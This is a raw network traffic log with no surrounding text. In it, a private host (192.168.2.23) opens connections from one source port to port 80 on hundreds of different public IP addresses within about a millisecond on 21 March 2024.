Mar 21, 2024 05:25:10.922570944 CET	9416	80	192.168.2.23	80.64.227.94
Mar 21, 2024 05:25:10.922574043 CET	9416	80	192.168.2.23	178.73.87.77
Mar 21, 2024 05:25:10.922574043 CET	9416	80	192.168.2.23	181.141.159.251
Mar 21, 2024 05:25:10.922574997 CET	9416	80	192.168.2.23	181.224.186.152
Mar 21, 2024 05:25:10.922574043 CET	9416	80	192.168.2.23	181.235.244.208
Mar 21, 2024 05:25:10.922575951 CET	9416	80	192.168.2.23	206.98.212.100
Mar 21, 2024 05:25:10.922576904 CET	9416	80	192.168.2.23	200.16.64.173
Mar 21, 2024 05:25:10.922576904 CET	9416	80	192.168.2.23	213.36.48.138
Mar 21, 2024 05:25:10.922576904 CET	9416	80	192.168.2.23	200.108.52.238
Mar 21, 2024 05:25:10.922576904 CET	9416	80	192.168.2.23	206.203.208.176
Mar 21, 2024 05:25:10.922590017 CET	9416	80	192.168.2.23	169.11.223.140
Mar 21, 2024 05:25:10.922594070 CET	9416	80	192.168.2.23	206.96.147.109
Mar 21, 2024 05:25:10.922590017 CET	9416	80	192.168.2.23	82.93.200.49
Mar 21, 2024 05:25:10.922595024 CET	9416	80	192.168.2.23	213.246.30.162
Mar 21, 2024 05:25:10.922593117 CET	9416	80	192.168.2.23	213.110.163.94
Mar 21, 2024 05:25:10.922596931 CET	9416	80	192.168.2.23	83.152.121.222
Mar 21, 2024 05:25:10.922599077 CET	9416	80	192.168.2.23	200.55.224.233
Mar 21, 2024 05:25:10.922599077 CET	9416	80	192.168.2.23	169.58.226.63
Mar 21, 2024 05:25:10.922599077 CET	9416	80	192.168.2.23	178.37.2.175
Mar 21, 2024 05:25:10.922604084 CET	9416	80	192.168.2.23	213.101.112.40
Mar 21, 2024 05:25:10.922609091 CET	9416	80	192.168.2.23	80.197.141.195
Mar 21, 2024 05:25:10.922609091 CET	9416	80	192.168.2.23	83.80.134.216
Mar 21, 2024 05:25:10.922616959 CET	9416	80	192.168.2.23	213.170.86.34
Mar 21, 2024 05:25:10.922629118 CET	9416	80	192.168.2.23	206.137.60.146
Mar 21, 2024 05:25:10.922629118 CET	9416	80	192.168.2.23	83.139.176.10
Mar 21, 2024 05:25:10.922631979 CET	9416	80	192.168.2.23	178.107.185.184
Mar 21, 2024 05:25:10.922633886 CET	9416	80	192.168.2.23	83.139.226.199
Mar 21, 2024 05:25:10.922635078 CET	9416	80	192.168.2.23	80.126.66.204
Mar 21, 2024 05:25:10.922635078 CET	9416	80	192.168.2.23	82.98.162.19
Mar 21, 2024 05:25:10.922641039 CET	9416	80	192.168.2.23	83.197.18.244
Mar 21, 2024 05:25:10.922641039 CET	9416	80	192.168.2.23	82.223.211.185
Mar 21, 2024 05:25:10.922653913 CET	9416	80	192.168.2.23	86.216.45.165
Mar 21, 2024 05:25:10.922653913 CET	9416	80	192.168.2.23	86.217.12.87
Mar 21, 2024 05:25:10.922666073 CET	9416	80	192.168.2.23	178.110.194.190
Mar 21, 2024 05:25:10.922663927 CET	9416	80	192.168.2.23	86.129.149.130
Mar 21, 2024 05:25:10.922665119 CET	9416	80	192.168.2.23	213.83.24.91
Mar 21, 2024 05:25:10.922663927 CET	9416	80	192.168.2.23	181.29.217.135
Mar 21, 2024 05:25:10.922668934 CET	9416	80	192.168.2.23	169.126.177.6
Mar 21, 2024 05:25:10.922673941 CET	9416	80	192.168.2.23	200.155.120.118
Mar 21, 2024 05:25:10.922681093 CET	9416	80	192.168.2.23	181.132.243.7
Mar 21, 2024 05:25:10.922683954 CET	9416	80	192.168.2.23	178.57.226.2
Mar 21, 2024 05:25:10.922686100 CET	9416	80	192.168.2.23	206.169.24.191
Mar 21, 2024 05:25:10.922691107 CET	9416	80	192.168.2.23	213.47.146.87
Mar 21, 2024 05:25:10.922691107 CET	9416	80	192.168.2.23	178.209.231.136
Mar 21, 2024 05:25:10.922693968 CET	9416	80	192.168.2.23	200.229.175.216
Mar 21, 2024 05:25:10.922694921 CET	9416	80	192.168.2.23	83.169.11.252
Mar 21, 2024 05:25:10.922693968 CET	9416	80	192.168.2.23	178.5.183.15
Mar 21, 2024 05:25:10.922696114 CET	9416	80	192.168.2.23	213.248.76.90
Mar 21, 2024 05:25:10.922693968 CET	9416	80	192.168.2.23	178.195.245.129
Mar 21, 2024 05:25:10.922703981 CET	9416	80	192.168.2.23	86.205.63.78
Mar 21, 2024 05:25:10.922703981 CET	9416	80	192.168.2.23	206.105.30.139
Mar 21, 2024 05:25:10.922704935 CET	9416	80	192.168.2.23	169.235.72.42
Mar 21, 2024 05:25:10.922704935 CET	9416	80	192.168.2.23	213.4.253.161
Mar 21, 2024 05:25:10.922703981 CET	9416	80	192.168.2.23	200.91.44.241
Mar 21, 2024 05:25:10.922708988 CET	9416	80	192.168.2.23	82.240.120.91
Mar 21, 2024 05:25:10.922708988 CET	9416	80	192.168.2.23	181.229.161.196
Mar 21, 2024 05:25:10.922715902 CET	9416	80	192.168.2.23	178.68.116.127
Mar 21, 2024 05:25:10.922722101 CET	9416	80	192.168.2.23	181.242.123.19
Mar 21, 2024 05:25:10.922728062 CET	9416	80	192.168.2.23	178.144.243.73
Mar 21, 2024 05:25:10.922728062 CET	9416	80	192.168.2.23	83.31.254.251
Mar 21, 2024 05:25:10.922728062 CET	9416	80	192.168.2.23	86.176.49.65
Mar 21, 2024 05:25:10.922729969 CET	9416	80	192.168.2.23	80.171.119.174
Mar 21, 2024 05:25:10.922728062 CET	9416	80	192.168.2.23	83.121.112.202
Mar 21, 2024 05:25:10.922728062 CET	9416	80	192.168.2.23	178.18.156.174
Mar 21, 2024 05:25:10.922744036 CET	9416	80	192.168.2.23	169.40.193.120
Mar 21, 2024 05:25:10.922749043 CET	9416	80	192.168.2.23	82.244.124.156
Mar 21, 2024 05:25:10.922755957 CET	9416	80	192.168.2.23	181.102.233.254
Mar 21, 2024 05:25:10.922760010 CET	9416	80	192.168.2.23	200.75.8.46
Mar 21, 2024 05:25:10.922765970 CET	9416	80	192.168.2.23	178.165.138.234
Mar 21, 2024 05:25:10.922770023 CET	9416	80	192.168.2.23	83.48.253.167
Mar 21, 2024 05:25:10.922775984 CET	9416	80	192.168.2.23	80.167.199.220
Mar 21, 2024 05:25:10.922777891 CET	9416	80	192.168.2.23	82.45.68.232
Mar 21, 2024 05:25:10.922777891 CET	9416	80	192.168.2.23	169.142.101.104
Mar 21, 2024 05:25:10.922775984 CET	9416	80	192.168.2.23	82.215.244.107
Mar 21, 2024 05:25:10.922790051 CET	9416	80	192.168.2.23	169.189.105.161
Mar 21, 2024 05:25:10.922791958 CET	9416	80	192.168.2.23	80.166.161.247
Mar 21, 2024 05:25:10.922799110 CET	9416	80	192.168.2.23	80.188.48.93
Mar 21, 2024 05:25:10.922804117 CET	9416	80	192.168.2.23	213.176.52.1
Mar 21, 2024 05:25:10.922805071 CET	9416	80	192.168.2.23	83.78.159.85
Mar 21, 2024 05:25:10.922805071 CET	9416	80	192.168.2.23	178.34.157.94
Mar 21, 2024 05:25:10.922811031 CET	9416	80	192.168.2.23	206.186.111.216
Mar 21, 2024 05:25:10.922815084 CET	9416	80	192.168.2.23	178.16.181.75
Mar 21, 2024 05:25:10.922828913 CET	9416	80	192.168.2.23	213.213.187.58
Mar 21, 2024 05:25:10.922840118 CET	9416	80	192.168.2.23	80.109.191.178
Mar 21, 2024 05:25:10.922841072 CET	9416	80	192.168.2.23	83.159.162.233
Mar 21, 2024 05:25:10.922841072 CET	9416	80	192.168.2.23	169.225.95.174
Mar 21, 2024 05:25:10.922848940 CET	9416	80	192.168.2.23	82.32.9.210
Mar 21, 2024 05:25:10.922861099 CET	9416	80	192.168.2.23	178.169.31.94
Mar 21, 2024 05:25:10.922867060 CET	9416	80	192.168.2.23	83.255.85.106
Mar 21, 2024 05:25:10.922868967 CET	9416	80	192.168.2.23	83.120.176.36
Mar 21, 2024 05:25:10.922869921 CET	9416	80	192.168.2.23	200.128.194.149
Mar 21, 2024 05:25:10.922888041 CET	9416	80	192.168.2.23	206.17.111.244
Mar 21, 2024 05:25:10.922888994 CET	9416	80	192.168.2.23	181.104.80.4
Mar 21, 2024 05:25:10.922892094 CET	9416	80	192.168.2.23	169.7.27.113
Mar 21, 2024 05:25:10.922892094 CET	9416	80	192.168.2.23	206.111.182.121
Mar 21, 2024 05:25:10.922893047 CET	9416	80	192.168.2.23	200.142.66.19
Mar 21, 2024 05:25:10.922899961 CET	9416	80	192.168.2.23	178.245.99.231
Mar 21, 2024 05:25:10.922909975 CET	9416	80	192.168.2.23	181.154.148.138
Mar 21, 2024 05:25:10.922910929 CET	9416	80	192.168.2.23	200.68.28.128
Mar 21, 2024 05:25:10.922920942 CET	9416	80	192.168.2.23	80.89.234.6
Mar 21, 2024 05:25:10.922920942 CET	9416	80	192.168.2.23	83.64.57.51
Mar 21, 2024 05:25:10.922930956 CET	9416	80	192.168.2.23	169.86.27.190
Mar 21, 2024 05:25:10.922931910 CET	9416	80	192.168.2.23	200.109.119.93
Mar 21, 2024 05:25:10.922933102 CET	9416	80	192.168.2.23	169.119.174.235
Mar 21, 2024 05:25:10.922936916 CET	9416	80	192.168.2.23	82.108.149.227
Mar 21, 2024 05:25:10.922938108 CET	9416	80	192.168.2.23	83.55.250.33
Mar 21, 2024 05:25:10.922959089 CET	9416	80	192.168.2.23	80.119.95.239
Mar 21, 2024 05:25:10.922959089 CET	9416	80	192.168.2.23	86.155.180.130
Mar 21, 2024 05:25:10.922960997 CET	9416	80	192.168.2.23	86.105.45.113
Mar 21, 2024 05:25:10.922966957 CET	9416	80	192.168.2.23	200.188.85.74
Mar 21, 2024 05:25:10.922971010 CET	9416	80	192.168.2.23	206.73.156.78
Mar 21, 2024 05:25:10.922976017 CET	9416	80	192.168.2.23	80.119.170.240
Mar 21, 2024 05:25:10.922982931 CET	9416	80	192.168.2.23	213.125.137.56
Mar 21, 2024 05:25:10.922987938 CET	9416	80	192.168.2.23	169.121.54.74
Mar 21, 2024 05:25:10.922991037 CET	9416	80	192.168.2.23	86.137.85.67
Mar 21, 2024 05:25:10.922991037 CET	9416	80	192.168.2.23	213.214.127.134
Mar 21, 2024 05:25:10.922992945 CET	9416	80	192.168.2.23	181.66.188.92
Mar 21, 2024 05:25:10.922997952 CET	9416	80	192.168.2.23	178.23.198.53
Mar 21, 2024 05:25:10.923000097 CET	9416	80	192.168.2.23	86.31.140.9
Mar 21, 2024 05:25:10.923002005 CET	9416	80	192.168.2.23	82.210.184.248
Mar 21, 2024 05:25:10.923007011 CET	9416	80	192.168.2.23	178.83.118.132
Mar 21, 2024 05:25:10.923021078 CET	9416	80	192.168.2.23	169.11.31.80
Mar 21, 2024 05:25:10.923024893 CET	9416	80	192.168.2.23	181.98.83.32
Mar 21, 2024 05:25:10.923024893 CET	9416	80	192.168.2.23	169.50.96.137
Mar 21, 2024 05:25:10.923024893 CET	9416	80	192.168.2.23	169.66.66.125
Mar 21, 2024 05:25:10.923024893 CET	9416	80	192.168.2.23	169.158.230.75
Mar 21, 2024 05:25:10.923032045 CET	9416	80	192.168.2.23	206.31.231.195
Mar 21, 2024 05:25:10.923033953 CET	9416	80	192.168.2.23	178.232.5.108
Mar 21, 2024 05:25:10.923033953 CET	9416	80	192.168.2.23	213.236.189.122
Mar 21, 2024 05:25:10.923037052 CET	9416	80	192.168.2.23	86.70.194.183
Mar 21, 2024 05:25:10.923041105 CET	9416	80	192.168.2.23	181.77.72.116
Mar 21, 2024 05:25:10.923049927 CET	9416	80	192.168.2.23	213.38.169.227
Mar 21, 2024 05:25:10.923063040 CET	9416	80	192.168.2.23	83.211.242.51
Mar 21, 2024 05:25:10.923065901 CET	9416	80	192.168.2.23	86.10.37.191
Mar 21, 2024 05:25:10.923067093 CET	9416	80	192.168.2.23	213.11.193.148
Mar 21, 2024 05:25:10.923069000 CET	9416	80	192.168.2.23	86.49.153.24
Mar 21, 2024 05:25:10.923072100 CET	9416	80	192.168.2.23	213.243.126.94
Mar 21, 2024 05:25:10.923074007 CET	9416	80	192.168.2.23	178.102.77.135
Mar 21, 2024 05:25:10.923089981 CET	9416	80	192.168.2.23	82.99.73.188
Mar 21, 2024 05:25:10.923090935 CET	9416	80	192.168.2.23	200.209.127.115
Mar 21, 2024 05:25:10.923100948 CET	9416	80	192.168.2.23	169.176.106.2
Mar 21, 2024 05:25:10.923100948 CET	9416	80	192.168.2.23	82.21.94.147
Mar 21, 2024 05:25:10.923100948 CET	9416	80	192.168.2.23	86.224.20.3
Mar 21, 2024 05:25:10.923101902 CET	9416	80	192.168.2.23	206.127.142.186
Mar 21, 2024 05:25:10.923101902 CET	9416	80	192.168.2.23	86.21.145.247
Mar 21, 2024 05:25:10.923114061 CET	9416	80	192.168.2.23	178.99.180.166
Mar 21, 2024 05:25:10.923120022 CET	9416	80	192.168.2.23	80.45.157.86
Mar 21, 2024 05:25:10.923129082 CET	9416	80	192.168.2.23	178.13.189.69
Mar 21, 2024 05:25:10.923129082 CET	9416	80	192.168.2.23	213.141.170.183
Mar 21, 2024 05:25:10.923131943 CET	9416	80	192.168.2.23	82.232.50.59
Mar 21, 2024 05:25:10.923134089 CET	9416	80	192.168.2.23	86.211.20.69
Mar 21, 2024 05:25:10.923149109 CET	9416	80	192.168.2.23	86.48.204.156
Mar 21, 2024 05:25:10.923161030 CET	9416	80	192.168.2.23	213.225.175.118
Mar 21, 2024 05:25:10.923161030 CET	9416	80	192.168.2.23	83.255.10.116
Mar 21, 2024 05:25:10.923167944 CET	9416	80	192.168.2.23	80.228.193.45
Mar 21, 2024 05:25:10.923175097 CET	9416	80	192.168.2.23	181.151.4.241
Mar 21, 2024 05:25:10.923175097 CET	9416	80	192.168.2.23	80.184.59.44
Mar 21, 2024 05:25:10.923180103 CET	9416	80	192.168.2.23	181.72.46.113
Mar 21, 2024 05:25:10.923185110 CET	9416	80	192.168.2.23	200.135.57.30
Mar 21, 2024 05:25:10.923185110 CET	9416	80	192.168.2.23	82.181.28.44
Mar 21, 2024 05:25:10.923185110 CET	9416	80	192.168.2.23	83.215.4.156
Mar 21, 2024 05:25:10.923186064 CET	9416	80	192.168.2.23	206.143.126.167
Mar 21, 2024 05:25:10.923187017 CET	9416	80	192.168.2.23	80.58.126.166
Mar 21, 2024 05:25:10.923188925 CET	9416	80	192.168.2.23	178.80.233.226
Mar 21, 2024 05:25:10.923207045 CET	9416	80	192.168.2.23	178.109.186.30
Mar 21, 2024 05:25:10.923207998 CET	9416	80	192.168.2.23	206.192.0.239
Mar 21, 2024 05:25:10.923213005 CET	9416	80	192.168.2.23	178.51.64.23
Mar 21, 2024 05:25:10.923213005 CET	9416	80	192.168.2.23	82.252.79.72
Mar 21, 2024 05:25:10.923213005 CET	9416	80	192.168.2.23	181.35.202.138
Mar 21, 2024 05:25:10.923219919 CET	9416	80	192.168.2.23	213.124.147.207
Mar 21, 2024 05:25:10.923222065 CET	9416	80	192.168.2.23	200.87.116.244
Mar 21, 2024 05:25:10.923222065 CET	9416	80	192.168.2.23	169.174.75.52
Mar 21, 2024 05:25:10.923226118 CET	9416	80	192.168.2.23	82.175.243.94
Mar 21, 2024 05:25:10.923227072 CET	9416	80	192.168.2.23	181.222.10.221
Mar 21, 2024 05:25:10.923234940 CET	9416	80	192.168.2.23	82.49.215.150
Mar 21, 2024 05:25:10.923235893 CET	9416	80	192.168.2.23	213.144.226.70
Mar 21, 2024 05:25:10.923243999 CET	9416	80	192.168.2.23	80.81.53.254
Mar 21, 2024 05:25:10.923245907 CET	9416	80	192.168.2.23	200.182.15.120
Mar 21, 2024 05:25:10.923248053 CET	9416	80	192.168.2.23	82.249.146.157
Mar 21, 2024 05:25:10.923257113 CET	9416	80	192.168.2.23	83.7.232.24
Mar 21, 2024 05:25:10.923264027 CET	9416	80	192.168.2.23	80.109.206.232
Mar 21, 2024 05:25:10.923266888 CET	9416	80	192.168.2.23	86.109.49.44
Mar 21, 2024 05:25:10.923269987 CET	9416	80	192.168.2.23	206.42.104.67
Mar 21, 2024 05:25:10.923289061 CET	9416	80	192.168.2.23	206.55.246.105
Mar 21, 2024 05:25:10.923289061 CET	9416	80	192.168.2.23	200.120.89.19
Mar 21, 2024 05:25:10.923295975 CET	9416	80	192.168.2.23	200.44.208.143
Mar 21, 2024 05:25:10.923302889 CET	9416	80	192.168.2.23	169.145.184.123
Mar 21, 2024 05:25:10.923302889 CET	9416	80	192.168.2.23	213.36.71.247
Mar 21, 2024 05:25:10.923320055 CET	9416	80	192.168.2.23	206.50.220.107
Mar 21, 2024 05:25:10.923321962 CET	9416	80	192.168.2.23	82.148.118.40
Mar 21, 2024 05:25:10.923329115 CET	9416	80	192.168.2.23	169.150.61.66
Mar 21, 2024 05:25:10.923330069 CET	9416	80	192.168.2.23	80.204.228.20
Mar 21, 2024 05:25:10.923330069 CET	9416	80	192.168.2.23	206.118.201.193
Mar 21, 2024 05:25:10.923331976 CET	9416	80	192.168.2.23	213.98.90.27
Mar 21, 2024 05:25:10.923335075 CET	9416	80	192.168.2.23	206.154.205.35
Mar 21, 2024 05:25:10.923335075 CET	9416	80	192.168.2.23	178.252.243.100
Mar 21, 2024 05:25:10.923337936 CET	9416	80	192.168.2.23	82.239.22.180
Mar 21, 2024 05:25:10.923348904 CET	9416	80	192.168.2.23	206.210.168.62
Mar 21, 2024 05:25:10.923352957 CET	9416	80	192.168.2.23	181.78.103.52
Mar 21, 2024 05:25:10.923362017 CET	9416	80	192.168.2.23	200.203.204.255
Mar 21, 2024 05:25:10.923365116 CET	9416	80	192.168.2.23	181.164.214.119
Mar 21, 2024 05:25:10.923365116 CET	9416	80	192.168.2.23	181.185.20.133
Mar 21, 2024 05:25:10.923368931 CET	9416	80	192.168.2.23	178.106.106.36
Mar 21, 2024 05:25:10.923378944 CET	9416	80	192.168.2.23	80.151.184.153
Mar 21, 2024 05:25:10.923379898 CET	9416	80	192.168.2.23	86.213.255.103
Mar 21, 2024 05:25:10.923381090 CET	9416	80	192.168.2.23	80.121.105.74
Mar 21, 2024 05:25:10.923381090 CET	9416	80	192.168.2.23	86.95.75.48
Mar 21, 2024 05:25:10.923384905 CET	9416	80	192.168.2.23	83.24.61.123
Mar 21, 2024 05:25:10.923389912 CET	9416	80	192.168.2.23	169.61.101.215
Mar 21, 2024 05:25:10.923405886 CET	9416	80	192.168.2.23	206.176.84.164
Mar 21, 2024 05:25:10.923408985 CET	9416	80	192.168.2.23	169.240.142.49
Mar 21, 2024 05:25:10.923414946 CET	9416	80	192.168.2.23	178.9.250.149
Mar 21, 2024 05:25:10.923417091 CET	9416	80	192.168.2.23	213.137.27.218
Mar 21, 2024 05:25:10.923418999 CET	9416	80	192.168.2.23	80.254.175.175
Mar 21, 2024 05:25:10.923418999 CET	9416	80	192.168.2.23	181.204.209.32
Mar 21, 2024 05:25:10.923420906 CET	9416	80	192.168.2.23	169.80.17.14
Mar 21, 2024 05:25:10.923425913 CET	9416	80	192.168.2.23	80.50.200.161
Mar 21, 2024 05:25:10.923425913 CET	9416	80	192.168.2.23	178.177.207.223
Mar 21, 2024 05:25:10.923438072 CET	9416	80	192.168.2.23	169.190.77.47
Mar 21, 2024 05:25:10.923439026 CET	9416	80	192.168.2.23	86.180.230.255
Mar 21, 2024 05:25:10.923440933 CET	9416	80	192.168.2.23	213.122.196.188
Mar 21, 2024 05:25:10.923440933 CET	9416	80	192.168.2.23	80.221.168.77
Mar 21, 2024 05:25:10.923440933 CET	9416	80	192.168.2.23	178.40.43.110
Mar 21, 2024 05:25:10.923443079 CET	9416	80	192.168.2.23	80.15.211.101
Mar 21, 2024 05:25:10.923446894 CET	9416	80	192.168.2.23	181.61.164.150
Mar 21, 2024 05:25:10.923449993 CET	9416	80	192.168.2.23	200.207.165.109
Mar 21, 2024 05:25:10.923450947 CET	9416	80	192.168.2.23	83.68.198.98
Mar 21, 2024 05:25:10.923463106 CET	9416	80	192.168.2.23	83.231.144.214
Mar 21, 2024 05:25:10.923463106 CET	9416	80	192.168.2.23	213.78.71.177
Mar 21, 2024 05:25:10.923465014 CET	9416	80	192.168.2.23	86.197.192.89
Mar 21, 2024 05:25:10.923468113 CET	9416	80	192.168.2.23	86.131.201.253
Mar 21, 2024 05:25:10.923480034 CET	9416	80	192.168.2.23	80.72.92.117
Mar 21, 2024 05:25:10.923495054 CET	9416	80	192.168.2.23	86.1.97.203
Mar 21, 2024 05:25:10.923496008 CET	9416	80	192.168.2.23	181.13.116.52
Mar 21, 2024 05:25:10.923506975 CET	9416	80	192.168.2.23	83.34.193.143
Mar 21, 2024 05:25:10.923506975 CET	9416	80	192.168.2.23	80.128.155.136
Mar 21, 2024 05:25:10.923511982 CET	9416	80	192.168.2.23	200.70.244.123
Mar 21, 2024 05:25:10.923512936 CET	9416	80	192.168.2.23	213.41.227.111
Mar 21, 2024 05:25:10.923512936 CET	9416	80	192.168.2.23	181.90.240.80
Mar 21, 2024 05:25:10.923512936 CET	9416	80	192.168.2.23	83.200.99.124
Mar 21, 2024 05:25:10.923516035 CET	9416	80	192.168.2.23	181.57.127.190
Mar 21, 2024 05:25:10.923518896 CET	9416	80	192.168.2.23	206.254.233.47
Mar 21, 2024 05:25:10.923518896 CET	9416	80	192.168.2.23	86.131.202.105
Mar 21, 2024 05:25:10.923521996 CET	9416	80	192.168.2.23	82.187.133.117
Mar 21, 2024 05:25:10.923525095 CET	9416	80	192.168.2.23	178.48.70.230
Mar 21, 2024 05:25:10.923537970 CET	9416	80	192.168.2.23	213.251.14.28
Mar 21, 2024 05:25:10.923537970 CET	9416	80	192.168.2.23	181.40.244.242
Mar 21, 2024 05:25:10.923541069 CET	9416	80	192.168.2.23	200.143.241.127
Mar 21, 2024 05:25:10.923541069 CET	9416	80	192.168.2.23	206.188.204.199
Mar 21, 2024 05:25:10.923547983 CET	9416	80	192.168.2.23	86.244.219.163
Mar 21, 2024 05:25:10.923547983 CET	9416	80	192.168.2.23	181.102.224.184
Mar 21, 2024 05:25:10.923554897 CET	9416	80	192.168.2.23	80.158.76.36
Mar 21, 2024 05:25:10.923557043 CET	9416	80	192.168.2.23	86.131.144.208
Mar 21, 2024 05:25:10.923557043 CET	9416	80	192.168.2.23	200.110.25.228
Mar 21, 2024 05:25:10.923561096 CET	9416	80	192.168.2.23	169.205.61.25
Mar 21, 2024 05:25:10.923563004 CET	9416	80	192.168.2.23	178.56.185.190
Mar 21, 2024 05:25:10.923563004 CET	9416	80	192.168.2.23	86.71.202.179
Mar 21, 2024 05:25:10.923567057 CET	9416	80	192.168.2.23	80.108.206.66
Mar 21, 2024 05:25:10.923584938 CET	9416	80	192.168.2.23	83.154.151.13
Mar 21, 2024 05:25:10.923585892 CET	9416	80	192.168.2.23	169.45.108.125
Mar 21, 2024 05:25:10.923587084 CET	9416	80	192.168.2.23	200.34.184.67
Mar 21, 2024 05:25:10.923588991 CET	9416	80	192.168.2.23	83.8.86.149
Mar 21, 2024 05:25:10.923594952 CET	9416	80	192.168.2.23	200.141.127.212
Mar 21, 2024 05:25:10.923598051 CET	9416	80	192.168.2.23	178.19.224.52
Mar 21, 2024 05:25:10.923598051 CET	9416	80	192.168.2.23	169.169.245.238
Mar 21, 2024 05:25:10.923598051 CET	9416	80	192.168.2.23	200.3.140.16
Mar 21, 2024 05:25:10.923603058 CET	9416	80	192.168.2.23	213.246.100.236
Mar 21, 2024 05:25:10.923607111 CET	9416	80	192.168.2.23	82.167.93.28
Mar 21, 2024 05:25:10.923614025 CET	9416	80	192.168.2.23	86.194.207.177
Mar 21, 2024 05:25:10.923616886 CET	9416	80	192.168.2.23	169.101.187.204
Mar 21, 2024 05:25:10.923616886 CET	9416	80	192.168.2.23	169.247.187.65
Mar 21, 2024 05:25:10.923618078 CET	9416	80	192.168.2.23	206.44.195.48
Mar 21, 2024 05:25:10.923618078 CET	9416	80	192.168.2.23	83.193.59.206
Mar 21, 2024 05:25:10.923623085 CET	9416	80	192.168.2.23	181.46.103.211
Mar 21, 2024 05:25:10.923624039 CET	9416	80	192.168.2.23	169.210.131.198
Mar 21, 2024 05:25:10.923624992 CET	9416	80	192.168.2.23	83.105.97.95
Mar 21, 2024 05:25:10.923629999 CET	9416	80	192.168.2.23	82.48.11.165
Mar 21, 2024 05:25:10.923629999 CET	9416	80	192.168.2.23	86.186.202.55
Mar 21, 2024 05:25:10.923629999 CET	9416	80	192.168.2.23	200.97.57.245
Mar 21, 2024 05:25:10.923629999 CET	9416	80	192.168.2.23	82.150.150.225
Mar 21, 2024 05:25:10.923629999 CET	9416	80	192.168.2.23	178.216.25.13
Mar 21, 2024 05:25:10.923636913 CET	9416	80	192.168.2.23	80.157.237.102
Mar 21, 2024 05:25:10.923639059 CET	9416	80	192.168.2.23	169.197.93.141
Mar 21, 2024 05:25:10.923639059 CET	9416	80	192.168.2.23	83.105.195.10
Mar 21, 2024 05:25:10.923639059 CET	9416	80	192.168.2.23	82.86.48.37
Mar 21, 2024 05:25:10.923659086 CET	9416	80	192.168.2.23	169.163.160.7
Mar 21, 2024 05:25:10.923659086 CET	9416	80	192.168.2.23	181.12.211.190
Mar 21, 2024 05:25:10.923660040 CET	9416	80	192.168.2.23	83.255.23.240
Mar 21, 2024 05:25:10.923660040 CET	9416	80	192.168.2.23	83.100.236.24
Mar 21, 2024 05:25:10.923676968 CET	9416	80	192.168.2.23	178.172.243.214
Mar 21, 2024 05:25:10.923676968 CET	9416	80	192.168.2.23	178.129.233.81
Mar 21, 2024 05:25:10.923677921 CET	9416	80	192.168.2.23	86.136.101.202
Mar 21, 2024 05:25:10.923686028 CET	9416	80	192.168.2.23	82.109.4.12
Mar 21, 2024 05:25:10.923688889 CET	9416	80	192.168.2.23	181.60.28.245
Mar 21, 2024 05:25:10.923695087 CET	9416	80	192.168.2.23	169.194.199.198
Mar 21, 2024 05:25:10.923695087 CET	9416	80	192.168.2.23	181.152.249.205
Mar 21, 2024 05:25:10.923698902 CET	9416	80	192.168.2.23	200.231.8.72
Mar 21, 2024 05:25:10.923703909 CET	9416	80	192.168.2.23	181.254.65.21
Mar 21, 2024 05:25:10.923711061 CET	9416	80	192.168.2.23	206.219.106.55
Mar 21, 2024 05:25:10.923712969 CET	9416	80	192.168.2.23	80.85.170.134
Mar 21, 2024 05:25:10.923723936 CET	9416	80	192.168.2.23	80.88.108.110
Mar 21, 2024 05:25:10.923724890 CET	9416	80	192.168.2.23	169.69.249.25
Mar 21, 2024 05:25:10.923726082 CET	9416	80	192.168.2.23	206.53.186.90
Mar 21, 2024 05:25:10.923727989 CET	9416	80	192.168.2.23	82.61.157.165
Mar 21, 2024 05:25:10.923732042 CET	9416	80	192.168.2.23	206.144.73.20
Mar 21, 2024 05:25:10.923732042 CET	9416	80	192.168.2.23	82.57.239.18
Mar 21, 2024 05:25:10.923732042 CET	9416	80	192.168.2.23	169.117.226.32
Mar 21, 2024 05:25:10.923736095 CET	9416	80	192.168.2.23	82.181.244.58
Mar 21, 2024 05:25:10.923743010 CET	9416	80	192.168.2.23	169.197.59.200
Mar 21, 2024 05:25:10.923746109 CET	9416	80	192.168.2.23	86.19.39.226
Mar 21, 2024 05:25:10.923757076 CET	9416	80	192.168.2.23	181.173.8.245
Mar 21, 2024 05:25:10.923759937 CET	9416	80	192.168.2.23	200.203.22.235
Mar 21, 2024 05:25:10.923759937 CET	9416	80	192.168.2.23	80.8.27.168
Mar 21, 2024 05:25:10.923763990 CET	9416	80	192.168.2.23	181.27.153.41
Mar 21, 2024 05:25:10.923765898 CET	9416	80	192.168.2.23	206.209.47.121
Mar 21, 2024 05:25:10.923775911 CET	9416	80	192.168.2.23	206.114.249.105
Mar 21, 2024 05:25:10.923780918 CET	9416	80	192.168.2.23	200.72.63.22
Mar 21, 2024 05:25:10.923777103 CET	9416	80	192.168.2.23	178.243.57.228
Mar 21, 2024 05:25:10.923782110 CET	9416	80	192.168.2.23	181.191.206.100
Mar 21, 2024 05:25:10.923782110 CET	9416	80	192.168.2.23	181.197.0.64
Mar 21, 2024 05:25:10.923788071 CET	9416	80	192.168.2.23	86.235.38.60
Mar 21, 2024 05:25:10.923791885 CET	9416	80	192.168.2.23	80.239.243.199
Mar 21, 2024 05:25:10.923810959 CET	9416	80	192.168.2.23	83.65.187.119
Mar 21, 2024 05:25:10.923810959 CET	9416	80	192.168.2.23	82.159.192.251
Mar 21, 2024 05:25:10.923810959 CET	9416	80	192.168.2.23	83.129.105.165
Mar 21, 2024 05:25:10.923810959 CET	9416	80	192.168.2.23	213.69.169.221
Mar 21, 2024 05:25:10.923815012 CET	9416	80	192.168.2.23	82.211.142.17
Mar 21, 2024 05:25:10.923815966 CET	9416	80	192.168.2.23	181.57.184.223
Mar 21, 2024 05:25:10.923816919 CET	9416	80	192.168.2.23	200.187.6.148
Mar 21, 2024 05:25:10.923821926 CET	9416	80	192.168.2.23	83.177.60.143
Mar 21, 2024 05:25:10.923824072 CET	9416	80	192.168.2.23	200.50.210.199
Mar 21, 2024 05:25:10.923832893 CET	9416	80	192.168.2.23	82.241.188.203
Mar 21, 2024 05:25:10.923834085 CET	9416	80	192.168.2.23	82.120.85.146
Mar 21, 2024 05:25:10.923844099 CET	9416	80	192.168.2.23	178.118.154.51
Mar 21, 2024 05:25:10.923844099 CET	9416	80	192.168.2.23	82.42.17.237
Mar 21, 2024 05:25:10.923847914 CET	9416	80	192.168.2.23	83.29.143.98
Mar 21, 2024 05:25:10.923849106 CET	9416	80	192.168.2.23	82.181.18.81
Mar 21, 2024 05:25:10.923851967 CET	9416	80	192.168.2.23	213.246.195.218
Mar 21, 2024 05:25:10.923851967 CET	9416	80	192.168.2.23	213.173.237.45
Mar 21, 2024 05:25:10.923855066 CET	9416	80	192.168.2.23	86.91.14.64
